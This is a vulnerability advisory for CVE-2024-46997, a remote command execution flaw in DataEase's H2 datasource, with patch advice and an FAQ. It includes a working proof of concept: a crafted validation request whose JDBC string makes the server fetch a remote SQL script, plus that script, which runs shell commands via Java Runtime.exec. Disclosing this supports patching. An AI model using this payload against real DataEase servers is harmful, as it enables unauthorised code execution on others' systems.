CVE-2024-46997: DataEase's H2 datasource has a remote command execution risk
Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.
request message: POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: / Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json
{ "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" }
h2 data source connection string: // configuration { "jdbc": "jdbc:h2:mem:test;TRACELEVELSYSTEMOUT=3;INIT=RUNSCRIPT FROM 'http://10.168.174.1:8000/poc.sql';", }
the content of poc.sql: // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
You can see that the file was created successfully in docker: /tmp # ls -l jdbch2rce -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce Affected versions: <= 2.10.0
Patches The vulnerability has been fixed in v2.10.1.
Workarounds It is recommended to upgrade the version to v2.10.1.
References If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com
Other sources
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2024-46997?
CVE-2024-46997 is considered critical due to its potential for remote command execution.
How do I fix CVE-2024-46997?
To fix CVE-2024-46997, upgrade affected software versions to at least io.dataease:common 2.10.1 or ensure that Dataease versions are beyond 2.10.1.
What types of systems are affected by CVE-2024-46997?
CVE-2024-46997 affects systems running Dataease versions prior to 2.10.1 and io.dataease:common versions up to and including 2.10.0.
What kind of attack does CVE-2024-46997 facilitate?
CVE-2024-46997 enables remote command execution attacks by exploiting a vulnerability in the data source connection string handling.
Can I mitigate CVE-2024-46997 without upgrading?
Mitigation for CVE-2024-46997 without upgrading is limited; it is recommended to apply software updates as the most effective mitigation method.